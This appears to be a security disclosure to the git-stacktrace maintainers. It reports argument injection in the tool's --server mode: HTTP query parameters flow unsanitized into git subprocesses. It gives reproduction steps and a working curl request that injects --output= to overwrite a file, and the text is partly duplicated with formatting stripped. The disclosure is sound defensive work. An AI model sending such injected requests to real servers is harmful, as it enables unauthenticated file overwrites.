Security: Argument Injection in --server Mode Allows Arbitrary File Write
Project: pinterest/git-stacktrace
Summary
The --server mode passes HTTP query parameters directly as arguments to git
subprocesses without any validation. By injecting the git flag --output=<path>,
an unauthenticated attacker who can reach the server can overwrite any file
writable by the server process.
The server also binds to 0.0.0.0 (all interfaces) rather than 127.0.0.1,
meaning developers on shared networks, office wifi, or cloud VMs are exposed
without realising it. I understand this is primarily a developer tool and not a production service.
Flagging it here first before considering a CVE request, happy to discuss
whether you think that step is warranted.
I have a video PoC (~80MB). Happy to share private at https://drive.google.com/file/d/1nfK0BVnLdnx8Ecjj5zPiYv-mabD6s_AH/view?usp=sharing
Root Cause
git_stacktrace/git.py — multiple locations
The range and branch HTTP parameters flow directly into subprocess calls
with no sanitization:
# git.py:196 — range param passed raw
cmd = "git", "log", "--oneline", git_range
# git.py:77 — same issue
cmd = "git", "log", "--pretty=%H", "--raw", git_range
# git.py:203-205 — branch param passed raw
cmd = "git", "log", "--pretty=%H", "--since=%s" % since
if branch:
cmd = cmd + (branch,)
Passing --output=/path/to/file as the range value causes git to write
its output to that path instead of stdout. The server returns HTTP 200 and
the file is silently overwritten.
Steps to Reproduce
Tested on Linux with Python 3.x and git installed.
1. Install the tool into a fresh virtualenv
mkdir /tmp/gst-test && cd /tmp/gst-test
python3 -m venv venv
venv/bin/pip install "git+https://github.com/pinterest/git-stacktrace" "setuptools<71"
2. Create a git repository (the tool requires one to run)
mkdir repo && cd repo
git init
git config user.email "test@test.com"
git config user.name "Test"
echo "hello" > README.md
git add . && git commit -m "initial commit"
3. Start the server
../venv/bin/git-stacktrace --server --port 8080
Confirm it is listening on all interfaces:
$ ss -tlnp | grep 8080
LISTEN 0.0.0.0:8080 0.0.0.0:* users:(("git-stacktrace",...))
4. Create a file to demonstrate overwrite
echo "SECRET_KEY=abc123" > /tmp/sensitive.txt
cat /tmp/sensitive.txt
# SECRET_KEY=abc123
5. Send the exploit request
curl "http://127.0.0.1:8080/?option-type=by-range&range=--output=/tmp/sensitive.txt"
This builds the following command inside the server:
git log --oneline --output=/tmp/sensitive.txt
6. Confirm the file was overwritten
Server returns HTTP 200. No error, no log, no indication anything unusual happened.
Impact
Any file writable by the server process can be overwritten with a single
unauthenticated GET request. No credentials, no special tools just curl.
The 0.0.0.0 binding means this is not limited to localhost attacks.
Any machine on the same network as a developer running --server can
send this request.
Questions for Maintainers
- Is this in scope for a CVE in your view?
Security: Argument Injection in
--serverMode Allows Arbitrary File WriteProject: pinterest/git-stacktrace
Summary
The
--servermode passes HTTP query parameters directly as arguments to gitsubprocesses without any validation. By injecting the git flag
--output=<path>,an unauthenticated attacker who can reach the server can overwrite any file
writable by the server process.
The server also binds to
0.0.0.0(all interfaces) rather than127.0.0.1,meaning developers on shared networks, office wifi, or cloud VMs are exposed
without realising it. I understand this is primarily a developer tool and not a production service.
Flagging it here first before considering a CVE request, happy to discuss
whether you think that step is warranted.
I have a video PoC (~80MB). Happy to share private at
https://drive.google.com/file/d/1nfK0BVnLdnx8Ecjj5zPiYv-mabD6s_AH/view?usp=sharingRoot Cause
git_stacktrace/git.py— multiple locationsThe
rangeandbranchHTTP parameters flow directly into subprocess callswith no sanitization:
Passing
--output=/path/to/fileas therangevalue causes git to writeits output to that path instead of stdout. The server returns HTTP 200 and
the file is silently overwritten.
Steps to Reproduce
Tested on Linux with Python 3.x and git installed.
1. Install the tool into a fresh virtualenv
2. Create a git repository (the tool requires one to run)
3. Start the server
Confirm it is listening on all interfaces:
4. Create a file to demonstrate overwrite
5. Send the exploit request
curl "http://127.0.0.1:8080/?option-type=by-range&range=--output=/tmp/sensitive.txt"This builds the following command inside the server:
6. Confirm the file was overwritten
Server returns HTTP 200. No error, no log, no indication anything unusual happened.
Impact
Any file writable by the server process can be overwritten with a single
unauthenticated GET request. No credentials, no special tools just curl.
The
0.0.0.0binding means this is not limited to localhost attacks.Any machine on the same network as a developer running
--servercansend this request.
Questions for Maintainers